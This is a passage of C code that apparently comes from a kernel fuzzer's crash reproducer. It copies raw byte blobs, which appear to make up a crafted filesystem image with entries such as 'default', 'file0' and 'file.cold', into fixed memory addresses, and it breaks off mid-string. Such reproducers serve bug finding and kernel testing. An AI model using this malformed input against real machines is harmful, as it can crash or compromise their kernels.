memcpy((void*)0x20011b00, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0\x50\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04", 91);
*(uint64_t*)0x200002c8 = 0x5b;
*(uint64_t*)0x200002d0 = 0x500720;
*(uint64_t*)0x200002d8 = 0x20011c00;
memcpy((void*)0x20011c00, "\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xed\x41", 56);
*(uint64_t*)0x200002e0 = 0x38;
*(uint64_t*)0x200002e8 = 0x500840;
*(uint64_t*)0x200002f0 = 0x20011d00;
memcpy((void*)0x20011d00, "\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x60\x50\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06", 82);
*(uint64_t*)0x200002f8 = 0x52;
*(uint64_t*)0x20000300 = 0x5008e0;
*(uint64_t*)0x20000308 = 0x20011e00;
memcpy((void*)0x20011e00, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x84\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\x00\x02\x64\x65\x66\x61\x75\x6c\x74\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x2e\x2e\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xed\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x5b\xbc\x64\x5f\x00\x00\x00\x00\x00\x00\x00\x00\x5b\xbc\x64\x5f\x00\x00\x00\x00\x00\x00\x00\x00\x5b\xbc\x64\x5f\x00\x00\x00\x00\x00\x00\x00\x00\x5b\xbc\x64\x5f\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xed\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\xff\xff\xff\xff", 306);
*(uint64_t*)0x20000310 = 0x132;
*(uint64_t*)0x20000318 = 0x5009e0;
*(uint64_t*)0x20000320 = 0x20012000;
memcpy((void*)0x20012000, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xd0\x50\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x06\x00\x00\x00\x00\x00\x00\x00\xbe\xcf\x6a\x1b\x14\x96\x48\x54\xbd\xc5\xe9\xfe\xf2\x65\x26\x4c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x5c\xbc\x64\x5f\x00\x00\x00\x00\x53\xa9\xdf\x17\x5b\xbc\x64\x5f", 193);
*(uint64_t*)0x20000328 = 0xc1;
*(uint64_t*)0x20000330 = 0x500b60;
*(uint64_t*)0x20000338 = 0x20012100;
memcpy((void*)0x20012100, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\x00\x64\x65\x66\x61\x75\x6c\x74\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xed\x41", 72);
*(uint64_t*)0x20000340 = 0x48;
*(uint64_t*)0x20000348 = 0x500c80;
*(uint64_t*)0x20000350 = 0x20012200;
memcpy((void*)0x20012200, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x51\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06", 98);
*(uint64_t*)0x20000358 = 0x62;
*(uint64_t*)0x20000360 = 0x500d20;
*(uint64_t*)0x20000368 = 0x20012300;
memcpy((void*)0x20012300, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xed\x41", 63);
*(uint64_t*)0x20000370 = 0x3f;
*(uint64_t*)0x20000378 = 0x500e40;
*(uint64_t*)0x20000380 = 0x20012400;
memcpy((void*)0x20012400, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x50\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07", 89);
*(uint64_t*)0x20000388 = 0x59;
*(uint64_t*)0x20000390 = 0x500ee0;
*(uint64_t*)0x20000398 = 0x20012500;
memcpy((void*)0x20012500, "\xb3\x88\xd7\xea\x59\xb8\xe5\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x19\x5a\xea\xee\x03\xbd\x44\x2f\x8f\x6e\x93\xf8\xf3\x39\xd1\x94\x00\x10\x50\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x01\x33\x4c\x15\x19\x8c\x92\x46\x9d\xa9\x9b\x5d\xda\xa4\xf9\x40\x58\x07\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x0e\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\xc0\x00\x00\x40\x00\x00\x00\x00\x00\x83\x0f\x00\x00\x18\x00\x00\x00\x00\x10\x10\x00\x00\x00\x00\x00\xa9\x00\x00\x00\x00\x00\x00\x00\x00\x62\x0f\x00\x00\x21\x00\x00\x00\x00\x00\x50\x00\x00\x00\x00\x00\xa9\x00\x00\x00\x00\x00\x00\x00\x00\x41\x0f\x00\x00\x21\x00\x00\x00\x00\x00\x50\x00\x00\x00\x00\x00\xc0\x00\x00\x19\x00\x00\x00\x00\x00\x29\x0f\x00\x00\x18\x00\x00\x00\x00\x10\x50\x00\x00\x00\x00\x00\xa9\x00\x00\x00\x00\x00\x00\x00\x00\x08\x0f\x00\x00\x21\x00\x00\x00\x00\x30\x50\x00\x00\x00\x00\x00\xa8\x00\x30\x00\x00\x00\x00\x00\x00\xd3\x0e\x00\x00\x35\x00\x00\x00\x00\x60\x50\x00\x00\x00\x00\x00\xa9\x00\x00\x00\x00\x00\x00\x00\x00\xb2\x0e\x00\x00\x21\x00\x00\x00\x00\x90\x50\x00\x00\x00\x00\x00\xa9\x00\x00\x00\x00\x00\x00\x00\x00\x91\x0e\x00\x00\x21\x00\x00\x00\x00\xa0\x50\x00\x00\x00\x00\x00\xa9\x00\x00\x00\x00\x00\x00\x00\x00\x70\x0e\x00\x00\x21\x00\x00\x00\x00\xc0\x50\x00\x00\x00\x00\x00\xa9\x00\x00\x00\x00\x00\x00\x00\x00\x4f\x0e\x00\x00\x21\x00\x00\x00\x00\xd0\x50\x00\x00\x00\x00\x00\xa9\x01\x00\x00\x00\x00\x00\x00\x00\x2e\x0e\x00\x00\x21\x00\x00\x00\x00\xe0\x50\x00\x00\x00\x00\x00\xa9\x00\x00\x00\x00\x00\x00\x00\x00\x0d\x0e\x00\x00\x21\x00\x00\x00\x00\x00\x51\x00\x00\x00\x00\x00\xa9\x00\x00\x00\x00\x00\x00\x00\x00\xec\x0d\x00\x00\x21\x00\x00\x00\x00\x00\x69\x00\x00\x00\x00\x00\xc0\x00\x00\x19\x00\x00\x00\x00\x00\xd4\x0d\x00\x00\x18", 448);
*(uint64_t*)0x200003a0 = 0x1c0;
*(uint64_t*)0x200003a8 = 0x501000;
*(uint64_t*)0x200003b0 = 0x20012700;
memcpy((void*)0x20012700, "\x00\x00\x01\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xb0\x04\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xb0\x05\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xb0\x05\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xb0\x05\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xb0\x09\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xb0\xf7\xff\xff\xff\xff\xff\xff\xff\x01\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xb0\x07\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xb2\x05\x00\x00\x00\x00\x00\x00\x00\x05\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xb0\x02\x00\x00\x00\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xb0\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xb0\x03\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x02", 441);
*(uint64_t*)0x200003b8 = 0x1b9;
*(uint64_t*)0x200003c0 = 0x501e40;
*(uint64_t*)0x200003c8 = 0;
*(uint64_t*)0x200003d0 = 0;
*(uint64_t*)0x200003d8 = 0;
*(uint64_t*)0x200003e0 = 0x20012d00;
memcpy((void*)0x20012d00, "\x24\x16\x5b\x2f\x8f\x3f\x68\x6e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x19\x5a\xea\xee\x03\xbd\x44\x2f\x8f\x6e\x93\xf8\xf3\x39\xd1\x94\x00\x60\x50\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x01\x33\x4c\x15\x19\x8c\x92\x46\x9d\xa9\x9b\x5d\xda\xa4\xf9\x40\x58\x06\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xf6\xff\xff\xff\xff\xff\xff\xff\x80\x00\x30\x50\x00\x00\x00\x00\x00\x83\x0f\x00\x00\x18", 123);
*(uint64_t*)0x200003e8 = 0x7b;
*(uint64_t*)0x200003f0 = 0x506000;
*(uint64_t*)0x200003f8 = 0x20012e00;
memcpy((void*)0x20012e00, "\x00\x00\x00\x00\x00\x00\x00\x00\xdb\xbb\xd8\x32\x6f\x9b\x86\xac\xdb\xbb\xd8\x32\x6f\x9b\x86\xac\xdb\xbb\xd8\x32\x6f\x9b\x86\xac", 32);
*(uint64_t*)0x20000400 = 0x20;
*(uint64_t*)0x20000408 = 0x506fe0;
*(uint64_t*)0x20000410 = 0;
*(uint64_t*)0x20000418 = 0;
*(uint64_t*)0x20000420 = 0;
*(uint64_t*)0x20000428 = 0x20013000;
memcpy((void*)0x20013000, "\x60\x98\x8c\x2a\x58\x65\x5b\x5d\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x19\x5a\xea\xee\x03\xbd\x44\x2f\x8f\x6e\x93\xf8\xf3\x39\xd1\x94\x00\x90\x50\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x01\x33\x4c\x15\x19\x8c\x92\x46\x9d\xa9\x9b\x5d\xda\xa4\xf9\x40\x58\x04\x00\x00\x00\x00\x00\x00\x00\xf7\xff\xff\xff\xff\xff\xff\xff\x02\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\xfb\x0e\x00\x00\xa0\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x0c\x00\x01\x00\x00\x00\x00\x00\x00\xef\x0e\x00\x00\x0c", 148);
*(uint64_t*)0x20000430 = 0x94;
*(uint64_t*)0x20000438 = 0x509000;
*(uint64_t*)0x20000440 = 0x20013100;
memcpy((void*)0x20013100, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x2e\x2e\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xed\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x5b\xbc\x64\x5f\x00\x00\x00\x00\x00\x00\x00\x00\x5b\xbc\x64\x5f\x00\x00\x00\x00\x00\x00\x00\x00\x5b\xbc\x64\x5f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xed\xbf\xb5\x48\xf8\x02\x24\x19\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x19\x5a\xea\xee\x03\xbd\x44\x2f\x8f\x6e\x93\xf8\xf3\x39\xd1\x94\x00\xa0\x50\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x01\x33\x4c\x15\x19\x8c\x92\x46\x9d\xa9\x9b\x5d\xda\xa4\xf9\x40\x58\x04\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xbe\xcf\x6a\x1b\x14\x96\x48\x54\xfb\xbd\xc5\xe9\xfe\xf2\x65\x26\x4c\x93\x0f\x00\x00\x08", 315);
*(uint64_t*)0x20000448 = 0x13b;
*(uint64_t*)0x20000450 = 0x509f40;
*(uint64_t*)0x20000458 = 0x20013300;
memcpy((void*)0x20013300, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00", 27);
*(uint64_t*)0x20000460 = 0x1b;
*(uint64_t*)0x20000468 = 0x50afe0;
*(uint64_t*)0x20000470 = 0x20013500;
memcpy((void*)0x20013500, "\x00\x00\x01\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xb0\x04\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xb0\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xb0\x05\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xb0\x05\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xb0\x05\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xb0\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xb0\x09\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xb0\xf7\xff\xff\xff\xff\xff\xff\xff\x01\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xb0\x07\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xb2\x05\x00\x00\x00\x00\x00\x00\x00\x05\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xb0\x03\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xe9\xb1\x3d\x9f\x3e\xd7\x95\xfb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x19\x5a\xea\xee\x03\xbd\x44\x2f\x8f\x6e\x93\xf8\xf3\x39\xd1\x94\x00\xc0\x50\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x01\x33\x4c\x15\x19\x8c\x92\x46\x9d\xa9\x9b\x5d\xda\xa4\xf9\x40\x58\x06\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x12\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\xfb\x0e\x00\x00\xa0\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x0c\x00\x01\x00\x00\x00\x00\x00\x00\xef\x0e\x00\x00\x0c\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x54\x4b\xae\x79\x04\x00\x00\x00\x00\xcc\x0e\x00\x00\x23\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x54\x6b\x82\x6b\x11\x00\x00\x00\x00\xa5\x0e\x00\x00\x27\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x54\xbf\x5d\x29\x17\x00\x00\x00\x00\x82\x0e\x00\x00\x23\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x54\xbc\xde\x42\xe5\x00\x00\x00\x00\x5f\x0e\x00\x00\x23\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x54\x48\x2d\x12\xf6\x00\x00\x00\x00\x3c\x0e\x00\x00\x23\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x60\x02\x00\x00\x00\x00\x00\x00\x00\x19\x0e\x00\x00\x23\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x60\x03\x00\x00\x00\x00\x00\x00\x00\xf6\x0d\x00\x00\x23\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x60\x04\x00\x00\x00\x00\x00\x00\x00\xd3\x0d\x00\x00\x23\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x60\x05\x00\x00\x00\x00\x00\x00\x00\xb0\x0d\x00\x00\x23\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x60\x06\x00\x00\x00\x00\x00\x00\x00\x89\x0d\x00\x00\x27\x00\x00\x00\x01\x01\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\xe9\x0c\x00\x00\xa0\x00\x00\x00\x01\x01\x00\x00\x00\x00\x00\x00\x0c\x00\x01\x00\x00\x00\x00\x00\x00\xda\x0c\x00\x00\x0f\x00\x00\x00\x01\x01\x00\x00\x00\x00\x00\x00\x54\x4b\xae\x79\x04\x00\x00\x00\x00\xb7\x0c\x00\x00\x23\x00\x00\x00\x01\x01\x00\x00\x00\x00\x00\x00\x54\x48\x2d\x12\xf6\x00\x00\x00\x00\x94\x0c\x00\x00\x23\x00\x00\x00\x01\x01\x00\x00\x00\x00\x00\x00\x60\x02\x00\x00\x00\x00\x00\x00\x00\x71\x0c\x00\x00\x23\x00\x00\x00\x01\x01\x00\x00\x00\x00\x00\x00\x60\x03\x00\x00\x00\x00\x00\x00\x00\x4e\x0c\x00\x00\x23", 996);
*(uint64_t*)0x20000478 = 0x3e4;
*(uint64_t*)0x20000480 = 0x50be40;
*(uint64_t*)0x20000488 = 0x20013900;
memcpy((void*)0x20013900, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x01\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x07\x66\x69\x6c\x65\x31\x02\x01\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x01\x66\x69\x6c\x65\x30\x03\x01\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x07\x66\x69\x6c\x65\x31\x02\x01\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x01\x66\x69\x6c\x65\x30\x02\x00\x00\x00\x00\x00\x00\x00\x05\x00\x66\x69\x6c\x65\x30\x06\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xed\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x5c\xbc\x64\x5f\x00\x00\x00\x00\x94\x18\x2c\x17\x5c\xbc\x64\x5f\x00\x00\x00\x00\x94\x18\x2c\x17\x5c\xbc\x64\x5f\x00\x00\x00\x00\x94\x18\x2c\x17\x5c\xbc\x64\x5f\x00\x00\x00\x00\x94\x18\x2c\x17\x06\x01\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x00\x01\x66\x69\x6c\x65\x2e\x63\x6f\x6c\x64\x05\x01\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x01\x66\x69\x6c\x65\x33\x05\x01\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x01\x66\x69\x6c\x65\x32\x04\x01\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x01\x66\x69\x6c\x65\x31\x01\x01\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x02\x66\x69\x6c\x65\x30\x04\x01\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x01\x66\x69\x6c\x65\x31\x05\x01\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x01\x66\x69\x6c\x65\x32\x05\x01\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x01\x66\x69\x6c\x65\x33\x06\x01\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x00\x01\x66\x69\x6c\x65\x2e\x63\x6f\x6c\x64\x01\x01\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x02\x66\x69\x6c\x65\x30\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x2e\x2e\x03\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x3a\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x